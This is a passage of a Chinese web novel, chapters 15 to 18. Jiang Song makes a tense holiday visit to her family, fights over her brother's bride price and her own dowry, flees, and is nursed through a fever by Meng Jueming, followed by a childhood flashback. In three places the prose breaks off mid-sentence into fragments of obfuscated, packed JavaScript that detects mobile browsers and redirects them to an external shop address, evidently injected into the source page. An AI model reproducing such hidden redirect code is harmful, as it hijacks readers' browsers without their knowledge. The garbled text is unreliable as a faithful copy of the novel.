最后发出去:【明天我回去。】 发完消息,心绪渐渐趋于平静,她又拿起那团乱七八糟的线理了起来。 15. 第 15 章 雨花镇的发展程度很一般,没有什么产业,青壮年人口也在逐年流失。 小镇上剩下的大多是老弱病残,出行需求低,交通自然不够发达,一天只有上下午各一趟往返城里的班车,错过时间就只能坐漫天要价的黑车。 姜颂抱着背包坐在班车上,心事重重。 车上大姨大妈们七嘴八舌地用方言唠八卦,不断干扰着她的神经。 烦躁之意油然而生。 她扭头看向窗外,银装素裹,入目皆是白茫茫的一片。 让她想起离开家的那一晚,也是这样的大雪天。 当年,她拖着行李箱在雪地上艰难滑行,身上的夹棉外套被不断融化的雪花洇湿,又凉又沉,风一吹,直冷到人心里去。 天地茫茫,这样的天气,又是夜里,连一辆车都打不到。 她去了镇上唯一一家小旅馆。小旅馆的房间年久失修,房间潮湿,墙皮脱落。暖气是凉的,被子上印记斑驳,透着一股子怪味。 姜颂从箱子里翻出新外套,换下湿的。她被冻得瑟瑟发抖,却不敢盖那被子,在灯光昏暗的房间里坐了一整夜。 她不知道自己该去哪里,第二天随便买了一张车票。 列车开动之后,又开始下雪,她乘坐的那趟车刚开了没多久就停了。 临停的站点就在桐市。 她觉得那是命运指引她要去的方向,于是一待就是两年多。 时间会冲淡一切情绪。 姜颂也说不清看见母亲一遍一遍地说想她的时候自己心里是什么情绪占了上风,以至于她鬼使神差地买了回家的票。 坐上回家的列车时,她又有些后悔。 当窗外景色越来越熟悉,她的心情就越来越复杂。 车停了。 雪后初晴,正午时分的阳光抵消了一丝大雪带来的寒冷。 姜颂从车上下来,站在街口打量着这个曾经熟悉现在却有点陌生的地方。 再往前走一段就是镇中学,她曾经工作的地方。 里面的学生都是附近村里的孩子,学校没设食堂,中午学生们都是骑自行车回家吃饭。 这会儿正赶上饭点,远远地就能听到学校里传来的放学铃声,学生们骑着车一股脑儿从校门涌出。 姜颂往路边躲了躲。 她现在的位置离家还有三四公里,这里打不到车,也没有共享单车,走回去也得挺长时间,她犹豫着要不要给家里打电话叫人来接。 “姜老师?!” 一辆自行车在她面前急匆匆刹住。 车上的女孩子皮肤偏黑,绑着个马尾,一双眼睛从那稍显厚重的刘海后面露出来,看到姜颂满是惊喜。 “我是小言,姜老师你还记得我不?” 虽然很久没见,但曾经教过的学生姜颂也还是很快认了出来。 姜颂:“当然记得了,你现在都上初三了吧?” “对呀对呀!”小言打量着姜颂这副风尘仆仆的模样,“姜老师是要回家吗?” “啊,对。” 小言指指车后座,说:“那还挺远呢,我送您回去吧,也顺路。” 姜颂没有拒绝。 小言在前面骑车,随口问道:“老师,您这两年回来过吗?” 姜颂说:“没有,工作太忙了。” “您走了之后我真的怪想您的,”小言说,“我一直都特别感谢您,要不是您当初拉住我,我估计早就辍学去厂子里打工了,没准过几年就和我那些朋友一样早早就结婚生孩子了。” 小言爸妈都在外地打工,因为没有人管,她从小学就开始跟高年级的混混在一起混日子,抽烟喝酒样样精通。 初一才上了半年不到,差点被人骗着私奔。当时姜颂刚毕业,被分到镇上中学当老师,满腔热血,实在看不下去,顺手拉了她一把。 姜颂笑道:“你好好学习,将来考个好大学,就当谢我了。” “那当然了,我现在成绩可好了,我们班主任说来年考上县一中没问题。” 少女得意洋洋,一路上叽叽喳喳地给姜颂讲了好多她走之后的八卦。 “杨老师也走了,因为去年我们班有个男生不写作业,杨老师把他爸妈叫来了,他妈在办公室打了他一巴掌,那个男生回家跳河自杀了,他爸妈一直跟学校闹,杨老师就辞职了。” “张老师好像要考公务员,我去办公室的时候看见她桌子上放着好多资料,大家都在传她要考回老家了。” “啊对了,还有……赵吉……”小言音量减弱,没感到后座的姜颂有不高兴的意思,便自顾自地说下去,“自从那件事之后,老师们谁也不敢管他了,我听说他高中也没考上,职高也不愿意去,现在在家里跟一帮辍学的小混混混在一起。” 小言背对着姜颂,自然没有看到她眼神里一闪而过的嘲意。 小言想把她送到家门口,姜颂没让,在街道路口下了车,远远地就看见站在家门口的母亲朝她们这边看来。 姜颂跟小言道别,往母亲的方向望过去。 母亲喜笑颜开,小跑着过来帮她拎包:“姜姜,妈给你拿!” 姜母抢过她的背包,拿在手上一掂,很轻,轻到像是什么也没放。 她脸上有些失望,抿抿唇,道:“姜姜,今天在家里住吧?” “嗯。”姜颂说,“明天早上走。” “多住几天吧。” “工作忙,请假要扣钱的。”姜颂没看她,一边走路一边淡声道。 姜母许久没作声,半天才嗯了一声。 母女俩走到家门口,姜颂这才注意到附近停着一辆看起来很新的黑色轿车。 她不懂车,但她隐约记得以前在学校工作时同事有一辆一模一样的。她记忆犹新,因为同事提车后上班第一天在办公室里足足讲了五遍,那辆价值二十万的车是她妈妈因为她考上编制而奖励的礼物。 姜母注意到女儿的目光,说:“啊,这是你弟弟的车,这不是要过节了吗,我就把他叫回来一起吃饭了。” 姜颂面无表情地点点头:“哦。” 姜母见她情绪不高:“赶紧进去吧,还有几个菜一会儿就好了。我左等右等都没见到你人,正想给你打电话,没想到一出来就看见你了!” “在外面工作累吧,肯定没好好吃饭,我看你都瘦了一大圈。”姜母说,“今天做了你最喜欢的油爆虾,你可得多吃点。” 姜颂微笑着回应了几声,经过院子的时候,她下意识地往墙角看去,那里放了一口大水缸。 她收回视线,跟着母亲进了屋。 屋子里摆了那张用来待客的红色的木质大圆桌,可以坐得下十二个人,然而眼下只坐了父亲姜辉、弟弟姜骄、大伯姜彪和奶奶,位置很宽松。 姜颂一进屋,几人一齐看来,姜骄喜上眉梢,蹭地站起来:“姐!你可回来了!快过来坐,今天都是你爱吃的!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17008033|194113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 姜彪:“哎哟,这不是我大侄女吗,可舍得从桐市回家咯。” 姜奶奶伸手打了儿子一下:“你个当大伯的瞎说什么呢?” “我这不是跟我大侄女开玩笑嘛。”姜彪不以为意。 姜颂对姜骄笑了一下,没理大伯,也没往父亲那边看,但能感受到他投来的视线。 两人谁也没跟谁先开口。 姜母见状,连忙把姜颂推到座位上,说道:“来来来,姜姜,先坐,还有两道菜马上就好,你们先吃吧。” 闻言,其余人分了碗筷,盛好饭,准备开吃了。 姜母把姜颂的包放在一边的矮柜上,一步也不敢停歇,忙叨叨地去堂屋继续炒菜。 姜颂坐的位置正好能看见门外母亲忙碌的身影。 姜彪笑嘻嘻地说:“弟妹做饭真是越来越好吃了。” 姜辉嗯了一声。 姜骄一直看着姜颂,好半天才找到机会开口:“姐,你这次回来住几天啊?” 姜颂的目光从母亲身上收回来,答道:“明天早上就要赶回去加班。” “还是城里好啊,出去就都不想回来了。”姜彪吃得满嘴流油,吐字都模糊,“我听说姜姜舅舅家的那个小孩也在桐市读书呢,读的研究生是吧?” 姜父冷哼一声。 姜颂神色冷冷,懒得说话,觉得留在这里呼吸困难。她起身朝堂屋走去。 堂屋里,灶台上一个锅里炖着汤,另一个锅里炒着蒜薹炒肉。 “正好,这汤可以盛出来了,你端过去吧。”姜母说。 姜颂到碗柜里拿汤碗盛汤。 姜母往屋内看了一眼,回过头来压低声音对姜颂说:“别理你大伯,他爱说什么说什么,今天过节,忍忍他,别闹得不好看。” 姜颂没作声,往碗里盛汤的时候倒得太急,汤不小心洒出来了一点,溅到她的白色羽绒服上,她皱眉。 “哎呀,你看你,弄衣服上了吧,你回去坐着吧,妈来弄。” 姜颂还是端了汤回去。 桌上摆得满满当当,最后一盘蒜薹炒肉没有地方可放,调整了半天碗盘的位置,才放在了姜骄面前。 “菜齐了!” 姜母坐在姜父和姜颂之间,将两人隔开,姜颂才落座。 她一言不发,埋头吃饭。 姜奶奶端着那盘蒜薹:“把这个放姜姜前面,她爱吃。” 姜母接过来,姜奶奶把姜颂面前的酱牛肉换走。 姜颂扫了一眼那盘蒜薹,什么也没说。 姜骄夹了一只虾放到她碗里:“妈特意给你做的,姐你多吃一点。” 姜颂看着碗里那只虾,想起了小时候的姜骄。 其实她从小就不在家里常住,跟这个小她六岁的弟弟也说不上有多亲,不过仅有的记忆里,姜骄从小就很爱黏着她,每次见到她都会把自己珍藏的零食分给她。 姜颂喜欢吃虾,而小时候家里条件不好,只有逢年过节能吃上一顿一盘只有二十只左右的冷冻虾。有一次小姜骄被父亲带出去吃婚宴,知道她那天从学校放假回家,特地从席面上带回来了六只虾,揣在怀里回来献宝似地给她,虾还热着。 她对家里再有怨气也没有办法对姜骄做到完全冷脸。 姜颂对他微笑:“谢谢。” “嗯哼!” 姜父清了清嗓子,终于开口放出了一个重磅消息。 “小骄年后要结婚了。” 16. 第 16 章 姜颂缓缓抬眼,见一桌人没人看姜骄,却都在盯着她,仿佛那个即将要结婚的人是她。 她废了好大的力气才控制住自己没有笑出声来。 惊讶道:“是吗,什么时候的事呀?” “是你王姨介绍的,小姑娘长得不错,也很能干,女方家里要了三十万彩礼和县城的房子还有车,等这些准备齐了就去领证。”姜母道。 姜颂哦了声表示自己知道了,继续吃饭。 姜骄欣喜中还掺杂着一丝羞涩,别扭了一会儿,问姜颂:“姐,我的婚礼你会回来参加的吧?” 姜颂未置可否:“工作不忙的话就回来,太忙我也不好请假。” “那也得回来,你个当姐的不回来算怎么回事!”姜父道。 姜颂淡淡看向他,笑意不达眼底:“那你去跟老板请假好了,反正我是请不下来,万一工作丢了谁会管我。” 姜父:“你听听你说的是什么话?当初老师当的好好的,还有编制,你任性辞职你怪谁?” 姜奶奶:“是啊,姜姜,可不能这么跟你爸说话啊。” 姜彪没说话,好整以暇地围观。 姜骄皱着眉,看看父亲,又看看姐姐,欲言又止。 热腾腾的饭菜冒着袅袅热气,听见这句的姜母的心却一下子凉了下去,紧张地看着女儿。 饭桌上安静得像被静了音,只有姜颂小声咀嚼的声响。 “好好的吗?”姜颂戳着碗里的米饭,忽然轻声说,“对啊,除了我,你们都好好的。” 姜母见势不对,眼神示意姜父住嘴,可惜完全拦不住。 姜父面色铁青:“当老师有什么不好?咱们这孩子少,事也少,还有寒暑假,离家也近,你说说你有什么不满意?” 姜奶奶:“就是啊,小姑娘家家的,当个老师多好找对象,当初要是答应赵……” “省城的公务员不更好吗?”姜颂冷不防地打断。 此话一出,姜父的怒气像是锅里窜起一丈高的火苗,被人拿了锅盖一下子压了下去。 姜彪看了姜父一眼。 姜父抖着的手指着姜颂:“你就是记恨上我了是吗?” 姜颂什么也不想说,撂下筷子,饭也没吃完,走到一旁拎起包,把一桌人扔在身后,回了房间。 姜骄叫了姜颂几声,后者也没理他,他埋怨父亲:“爸你这是干嘛啊!” “一个女孩子不好好在家待着找个好人嫁了,跑那么远干什么,还动不动就不回来,真是养了个白眼狼……” 姜颂关上房门,姜父的指责声被隔绝了大半。 她紧绷的肩膀松下来,打量着这房间里的布置。 床单是新换过的,地板也很干净,应该是母亲刚打扫过,很整洁。 只是房间里透着一股子霉味,还堆放了许多杂物,即使已经用布罩遮住,还是让她觉得心口堵得难受。 她用力闭了闭眼,从口袋里拿出手机。 外面围绕着姜骄婚事的交谈声不绝于耳。 “等侄媳妇进门弟妹也可以歇歇了,就是不知道侄媳妇做饭好不好吃。” “哎哟,没想到我老太婆还能活到看着我大孙孙娶媳妇,小骄啊,等结了婚可得赶紧生孩子啊,奶奶等着抱重孙子哩!” “现在政策放开了,不像生你那会儿,还得躲着藏着的,小骄你们抓紧多生几个,孩子妈帮你带。” “听说侄媳妇还是大城市学校毕业的大学生呢,现在有点学历的女人都不乐意生孩子,到时候能听话吗?” “哼,又要彩礼又要房车的,陪嫁也没有,还不生孩子?那娶她进门干什么?” “小骄啊,你跟那姑娘好好处,最好婚前就让她把孩子怀上,这样我们也放心点。奶奶跟你说,这女人啊,有了孩子就心软,到时候没准彩礼还能少点,钱拿回来你们小两口用着多好。” “害,这好办,房车都记在我弟名下就行,我前几天看快手,说现在离婚还能把彩礼要回来,到时候她不生就换一个呗。再说了,我大侄女这么漂亮,找个有钱人嫁了,咱家还能进账一笔呢!” …… 不知过了多久,门外的交谈声渐渐趋于安静。 姜母端着饭菜推门进来。 “刚才你都没吃多少,这是妈妈给你留的,不是剩菜,快来吃吧。” 姜颂坐在床上,盯着小碗里的油爆虾。 姜母在她身边坐下来:“轩轩今年秋天也去桐市读研了,你平时多照顾照顾他,你舅舅好歹也养了你那么多年,咱们得知恩图报。” “嗯。” “你别跟你爸生气了,他毕竟是你爸,父女俩有什么不能过去的恩怨呢?” “嗯。” 她什么也不想说。 “你岁数也不小了,其实你爸他们说得也不错,你早点嫁了也好,只是现在肯定要结在你弟弟后面了,妈都没办法给你多一点的嫁妆。”姜母长吁短叹。 听到这里,姜颂冷淡的脸色终于有了一点表情,她缓声问:“我就算结在小骄后面,关我的嫁妆什么事呢?” “你弟媳妇进门了之后,人家肯定不愿意呗!” “你怎么知道?” “都是这样的。” 都是这样的吗? 姜颂微笑:“没事呀,妈妈,你可以现在把嫁妆钱先给我,这样就不用担心了。” “你不结婚我怎么给你?” “反正是要给我的,那提前给跟结婚当时给,有什么区别吗?” “那不一样……”姜母一时语塞,想要说什么却又不知道怎么说。 半晌,姜母叹道:“你好不容易回来一趟,咱们不说这些了。” “晚上妈妈包饺子,你想吃什么馅的?” 姜颂没说话,移开目光,看着手机屏幕上司机发来的消息。 【我到你家门口了,出来吧。】 那碗油爆虾她终究还是无福消受。 她起身,拎起背包,挎在单薄的肩上。 她站在那,跟母亲隔着一段距离:“不用了,我要回去了。” 姜母闻言不知所措地看着女儿:“不是说好了明天走吗?好不容易回来,怎么这么快就要走?” “不为什么,妈妈。”姜颂说,“我要上班——” 她笑:“给自己攒嫁妆。” 姜颂不顾阻拦往外走,姜母追在她后面,絮絮叨叨地劝她再留一天。 姜父醉酒,躺在堂屋呼呼大睡。 姜骄听见动静,连忙追出去。 “姐,你别生爸的气了,他那人说话就那样,你好不容易回家一趟,起码住一晚吧,妈知道你要回来提前好几天就在收拾了。”姜骄拉住她的衣角,像小时候每次送她去舅舅家抓着她不想让她离开那样。 她没什么情绪地看着这个弟弟。 身后一辆车子缓缓在她面前停下,司机大叔放下玻璃:“姑娘,是你打的车不?” 姜颂应了一句。 司机:“真不好意思,本来有个人跟你一块拼车,你俩一人一百五,但是那个人不走了,你要自己坐车的话得付三百 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014413|194113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 姜母听见高昂的打车费,顿时大怒:“你是隔壁村老刘家的吧,去个车站要三百块?穷疯了吧你!” “嘿!怎么说话呢,我一直都是这个价格,跑了好多年了。冬天出门的人少,没人拼车我要是按拼车价格收连邮费都赚不回来,那谁有办法?” 烦躁的情绪在姜颂心底蔓延,渐渐填满整片心房,压迫得她喘不上气。 三百也好,三千也好,付出什么代价都好,她想要离开这里。 哪怕提前一秒也好。 姜母还在纠结车费:“姜姜,这也太贵了,你再住一天吧,明天让小骄送你去,他有车。” 这一次,姜颂还是拉下弟弟的手,像小时候那样。 “车还是留给弟媳妇坐吧。” 她终于笑出了声:“妈妈,回家的代价太贵了,我真的负担不起。回去吧,别送了。” 姜颂头也没回,径直上了车。 车子缓缓启动,母亲和弟弟的身影在后视镜里逐渐消失。 车内,姜颂从包里翻出纸巾,擦掉眼泪。 那司机一直从镜子里瞟着她。 以为她是觉得被骗了才哭,他有些抱歉,跟她商量:“姑娘你别哭了,要不这样,你给我二百得了,叔开的油车,真比不上他们电车省钱,起码让叔把油钱赚回来,行不?” 姜颂摇摇头:“没事,答应了多少就是多少,您不用管我,我哭一会儿就好了。” “哦,行,那叔给你放个歌听吧,可别一劲儿哭了。” 和缓的前奏响起,像摇篮曲。 温柔的女声低吟浅唱。 “我的孩子啊,你放心吧,我会是你永远的避风港。” 姜颂扭头看向窗外飞快倒退的景色,眼泪流下。 家是避风港吗? 可为什么她的避风港总是风雨交加? 又一次,她在这样一个雪天逃离了雨花镇。 * 大概是哭累了,从车站下车回小区的路上,姜颂在出租车上睡了一路。 她头疼得厉害,睡着后梦里还是那些乱七八糟的声音。 结婚、彩礼、嫁妆、房子、车子、孩子…… 吵得她恶心,眩晕感阵阵袭来。 一下车,她抱着小区外的垃圾桶吐了个天昏地暗。 可她胃里早已没了东西,反流的胃酸让她恨不得把五脏六腑一起吐出来。 她被呛出眼泪,头晕目眩,慢慢蹲在地上,缩成一团。 她不知道那个素未谋面的女孩是怀揣着怎样的心情同意了她家这门婚事,姜颂不善良地希望对方最好不要付出哪怕一丁点的真情。 不值得,为了谁都不值得。 她想,她永远都不要结婚,谁也不值得她把自己的命运交到别人手里,被毫不知情地推到这样可怕的境遇里。 永远不要。 绝对不要。 缓了好久好久,她扶着垃圾桶的边缘站起来。 穿过雪地的冷风穿透她的身体,她觉得自己一阵发冷一阵发热,难受到什么力气也没有了,不知道自己还能不能好好地爬到楼上的家里。 拖着虚浮的脚步走到楼下,视野有一瞬的模糊,连楼下照明灯的灯光在她眼里都有了光晕。 柔和的光晕里,站着身形颀长的男人,穿着驼色羊绒大衣,手里拿着手机,不知在发什么。 紧接着,姜颂口袋里的手机振动一声。 似是听见动静,他动作一顿,缓缓转过身,朝她看来。 “姜姜。” 17. 第 17 章 姜颂看着孟决明快步朝她走来。 不知道是不是因为他走得太快,她竟觉得他的身影开始模糊,还重影。 她用力闭上眼,又睁开,他人已来到了她面前。 孟决明个子高,肩也比她宽很多。他往那一站,身影直接整个覆住了姜颂。 他解释来意:“我从法院出来给你打了电话,你没接,消息也没有回。间隔时间太久了,我担心你一个人住是不是出了什么问题,所以过来看看。” 太久没开口,刚刚又吐得太厉害,姜颂的嗓子非常难受。 她声音有些哑:“我回了趟家,刚回来,在路上没注意消息。” 孟决明松了口气:“没事就好,看你家没开灯,把我吓了一跳。” 姜颂几乎听不清他在说什么,耳鸣越来越严重,头痛得像要炸开。 姜颂强忍着,问他:“开庭顺利吗?” “很顺利,你帮我求的那支签很有用,谢谢姜姜。” 姜颂想对他笑一下,可惜她实在没有力气。 她忍着强烈的不适感,深吸一口气,准备送客:“孟医生,如果没有别的事情的话,我先上楼了。” 说着,她不知哪来的一股力量,支撑着她从孟决明身边穿过。然而这股神秘力量续航有点短,她身形一个踉跄,猛然向下栽去。 孟决明敏捷地单手架住她胳膊,扶着她站稳。 “姜姜,怎么了?”他焦急询问。 姜颂半靠着他才不至于脱力到躺地上,她摇头:“可能……有点低血糖……” 光源打在姜颂脸上,孟决明这才发觉她的不对劲,刚才逆着光,他一直没发现姜颂的脸色透着不正常的红。 他抬手用手指背面轻轻贴了贴姜颂的额头,温度高得吓人。 他皱眉:“你在发烧。” 姜颂借着他的手重新站稳:“没事,我回家吃点退烧药就好了,你回去吧。” 说罢,她挣脱孟决明的手臂,想要自己上楼,不过没走出去几步,脚步一阵虚浮,整个人都在晃。 孟决明眼疾手快地捞过她的手臂,低头,让她搂着他的脖子。 “你这样自己在家,万一烧糊涂了怎么办?”他不由分说抄起她的膝弯,“我先送你回家。” 姜颂想说这样不合适。 但,或许是因为他的怀抱太过温暖,也或许是生病的人格外矫情,她忽然有些贪恋这片刻的温暖。 就这一次,她没什么力气地闭着眼想,她就再不负责任地任性这一次。 姜颂不再挣扎,任由他抱,感受着他胸膛处散发的淡香。 孟决明抱着她稳稳踏上每一阶楼梯,丝毫没有颠簸。 进了门,他扶她靠在沙发上,到厨房冲了杯糖水。他坐到她身旁,托着杯底,让她就着他的力气喝。 姜颂小口小口地吞咽了几口,感觉稍微好了一些。 孟决明问她药箱的位置,姜颂指了指茶几底下。 他从药箱里找出测温枪,一量,温度直逼三十八度。 她不想去医院。 这么晚才回来,孟决明猜她一定是还没吃晚饭,他说:“我给你做点东西吃吧,然后吃一颗退烧药,你就休息,明天要是还不退烧,我必须要送你去医院,不要任性,好吗?” “我没胃口。”她摇头。 “吃一口也行,空腹吃药对身体不好。”孟决明说,“等我一小会儿就好。” 姜颂有气无力地嗯了一声。 片刻后。 孟决明端着一碗热粥出来,却见姜颂靠在沙发上睡着了。 他放下粥碗,在她面前缓缓蹲下身。 暖黄色的灯光下,姜颂的一张小脸烧得通红,眉头紧皱,睡得极不安稳。 “姜姜?”他小声叫她的名字。 姜颂迷迷糊糊地将眼皮掀开一条小缝,也不知道有没有意识。他没等到她的回答,就见她又闭上眼昏睡过去。 他重测了一遍体温。 还好只是低烧,不吃药就不吃药吧。 孟决明单膝跪地,轻手轻脚地将人打横抱起。 好轻。 轻到他觉得她比兰花重不了几斤。 脆弱又可怜,他不敢用力抱她。 刚刚煮粥的时候他看了眼她的冰箱,只有一些瓶装水、提前预制的牛肉和虾仁,其余什么都没有。 怪不得这样轻。 他想,以后要给她做很多菜,监督她好好吃饭才行。 推开卧室门,他将人轻放在床上,见她身上还穿着羽绒服。他小声对她说抱歉,帮她把外套脱掉,盖上被子。 睡梦中的姜颂一直在皱眉,不知正被什么梦境困住。 他半跪在她床前,温柔注视着她。 他觉得今天的姜颂看起来很不开心。 也不知道她今天回家到底发生了什么事,让她的情绪这样低落。 他伸出手慢慢靠近她的脸,在即将要触碰到的时候又停了下来。 他轻轻帮她拂去脸上的几根碎发,为她掖好被角。 不吃药也不能放任她这么烧下去。 他在冰箱里找到了一些冰块,丢在水里,再用冰水打湿毛巾,用物理方法给她降温。 他不放心,一直在床边守着,找了个垫子坐在地上,背靠着她的床。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17017799|194113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 隔半个小时就用冷毛巾擦擦她的脸颊和掌心,然后再测体温 半夜三点,测温枪终于变绿,孟决明松了一口气。重新为她掖被角时,看到一滴泪从她眼角滑落。 床上,睡梦中的姜颂眉头紧皱,眼皮下的眼球不停滚动。 不知做了什么噩梦。 * “姜姜,到了舅舅家一定要听话知道吗?以后你考上好大学,一定要记得你舅舅的好。” 姜母两只手提满了从家里带来的礼物,没有手再去牵十三岁的姜颂。 姜颂望着母亲手里那些花花绿绿的塑料袋。 那是她和母亲一大清早起来去菜地里现摘的新鲜蔬菜和家里养了很久的土鸡。 姜颂瞥见母亲被袋子勒得通红的手指,一言不发地分了几个袋子到自己手里。 走了一段路,她还是没忍住,低着头声如蚊蚋:“妈,我不想去舅舅家。” 姜母走得太快了,街上又是车来车往,姜颂仰头看着姜母,见她没有任何反应,猜到她应当是没听见。 可她也没有勇气再说第二遍。 家里有她和弟弟两个孩子,母亲说将来他们姐弟俩需要花很多钱,她和父亲必须得外出打工赚钱。 弟弟还小,离不开父母,而她却已经是要上初中的大姑娘了。 以后她就住在舅舅家,直到高中毕业。 姜颂知道就算母亲听到了也改变不了什么,就像已经摘下来的蔬菜不能再回到土里生长,杀掉的土鸡也不会再活过来到处溜达。 姜颂抿了抿唇,就当刚才的话没说过。 在小区里转了几圈,母女俩都没找到究竟是哪一栋楼。 姜舅舅家的小区很大很漂亮,从小没离开过雨花镇的姜颂从来都不知道,原来世界上还有人的家是这样的,整洁又漂亮。 住在这里面应该不会在冬天被冻得瑟瑟发抖吧? 姜颂好奇又羡慕地打量着眼前这个新世界,一旁的姜母则拨通了姜舅妈的电话。 姜颂听见电话接通,尽管隔着电话看不见脸,母亲依然换上了一副讨好的笑脸,连带着语气也殷勤起来:“弟妹啊,我们到你家小区了,但是我忘了你们住哪栋楼了。” 姜母在厂子里上班,常年被机器噪音打扰,听力大大下降,因此手机的音量调得很大,姜颂听见听筒里传来舅妈略有些不耐烦的回答:“六栋。” “哎哎哎,好,我知道了,我们马上到啊……” “嘟嘟嘟嘟……” 姜母把手机揣进口袋,捡起地上的一堆袋子:“快快快,别让你舅妈等久了,快走。” 姜颂快步跟上去。 18. 第 18 章 来开门的是姜舅妈。 大概是刚从厨房出来,她身上还系着围裙,素面朝天,头发随意绑成低马尾。 姜颂上一次见到她还是好几年前。 那时候的她化着精致的妆,穿着也和姜母等村里的女人们很不一样,优雅又得体,像姜颂在电视剧里看到的明星那样,与现在判若两人。 而今天眼前的舅妈让姜颂忽然觉得,她和村子里的那些婶婶有了些许说不出的相似之处。 是什么相似之处呢?她一时想不起来。 “来啦,快进来吧。” 姜舅妈招呼着母女俩进门,打断了姜颂的思绪。 姜舅舅的家很大,宽敞明亮,装修精致,连进门都要换拖鞋,姜颂在老家从没见过这阵仗。 姜舅妈从鞋柜里找出的拖鞋都是成人尺码,姜颂穿着很不合脚,只能趿拉着。 一进门,一个漂亮的小男孩正睁着一双大眼睛好奇地盯着她。 姜母弯腰对那小孩笑道:“这是轩轩吧,哎哟都长这么大了。” 自从姥姥姥爷去世之后,姜母和姜舅舅几乎就没了走动,陆轩出生后两家就没见过面。 姜颂自然也从没见过这个表弟。 “是很多年没见了。”姜舅妈微笑,“轩轩,叫姑姑和姐姐。” 陆轩脆生生地叫了声姑姑,轮到叫姜颂的时候,他晃晃悠悠地走过去,忽然一把抱住了姜颂的腿,仰头,两只大眼睛忽闪忽闪地望着姜颂,叫道:“姐姐!” 姜母笑:“轩轩挺喜欢我们家姜姜啊。” 姜舅妈对陆轩说:“轩轩好好跟姐姐玩,妈妈先去做饭了,待会儿爸爸回来咱们就开饭。” 姜母连忙提着东西跟上去:“正好我从家里带了点新鲜的菜和早上现杀的土鸡,城里很难买到的,我一起做一点,大家尝尝鲜。” 姜舅妈未置可否,只是微笑着接过东西。姜母一起跟进了厨房。 姜颂还站在原地,望着消失在拐角的母亲。陌生的环境,陌生的气息,都让她感到无所适从。 垂在身侧的手多了一抹柔软的触感,她看过去。 陆轩的小手拉过她的手,把她拉向沙发。 “姐姐,坐。”他自己却没坐,看了她一会儿,说,“等我一下。” 然后他一路小跑回房间,不多时,怀里抱了各种零食回来,塞到姜颂怀里。 姜颂意外:“给我?” 陆轩重重点头。 姜颂露出了从进门开始的第一个真心的笑容。 临近傍晚,姜舅舅终于下班回家。见到姜母和姜颂,寒暄了几句。姜舅妈招呼着众人入座开饭,姜颂不知该坐在哪里,等着舅舅一家入座之后,才在那张四方桌的桌角位置坐了下来。 席间,三个大人有一搭没一搭地聊着闲话。 姜颂低着头吃饭,陆轩凑过去跟她说想吃对面的松仁玉米,姜颂伸长了胳膊舀了一勺放进陆轩碗里。 大人们的视线一下子被她吸引过去。 姜舅舅大笑,调侃道:“姜姜不愧是姐姐,在家也挺照顾我大外甥的吧?” 姜母欣慰地看着女儿:“姜姜从小就懂事,平时我和她爸没空的时候都是她照顾小骄。” “姐,还是你福气好啊。等姜姜长大挣钱了,还能帮忙给小骄买房,你和我姐夫就能颐养天年了。哎,我都后悔没先生个女儿出来,这得轻松多少。” 姜颂一口饭在嘴巴里嚼得稀碎。 她毫不意外舅舅会这样说,因为舅舅的房子就是母亲掏钱付的首付。 母亲付首付并不是舅舅只缺首付,而是当年的母亲只能拿出那么多,甚至挪用了家里的存款。这事被父亲知道后两人大吵了一架,那阵子家里鸡飞狗跳,父母差点闹到离婚。 这些事正是姜颂在父母吵架的时候听到的。 她有种感觉,就是从那次吵架之后,母亲虽然嘴上一再强调舅舅是她的亲人,帮他买房子结婚理所应当,但之后母亲在家里大大小小的事的决定权上渐渐没有了底气,这种状态在面对父亲的时候尤为明显。 以至于她一直在想,母亲重复的那句“舅舅是她的亲人”,究竟是在说服父亲,还是在说服她自己? 同样是父母的孩子,为什么姐姐自己没有房子,却要贡献出全部的积蓄给弟弟买房?既然是亲人,为什么受到的待遇截然不同呢? 姜颂发呆的过程中,这顿饭到了尾声。 姜母还要赶晚上的火车,临走前她从那个有些掉皮的挎包里翻出一个信封,交给了姜舅舅:“以后我们会每个月打钱过来的,你外甥女就交给你照顾了,你多费心看着她点。” 姜舅舅捏了捏信封:“放心吧姐,姜姜也是我亲外甥女。” 无数的真情假意藏在场面话里,话已说尽,离别的时刻悄然到来。 姜颂眼含泪花望着母亲,姜母不舍,抱了抱她,然后用粗糙的手摸着她的脸颊,嘱咐她:“以后在这好好听话,爸妈不在你身边,你好好照顾自己,别给舅舅舅妈添麻烦,和轩轩好好相处,知道吗?” 姜颂不敢说话,她怕她一开口,眼里的泪花就会滑落,让愧疚的母亲更加难过,于是她只努力忍着鼻尖的酸意点头。 姜母离开了。 姜颂站在那看着母亲一点点走远,这周围她所熟悉气息彻底消失不见,那种令她不安的局促感又涌了上来。 姜颂记得,那天晚上舅妈给她收拾了一间客房。 铺床单的时候,她主动抢着去干。 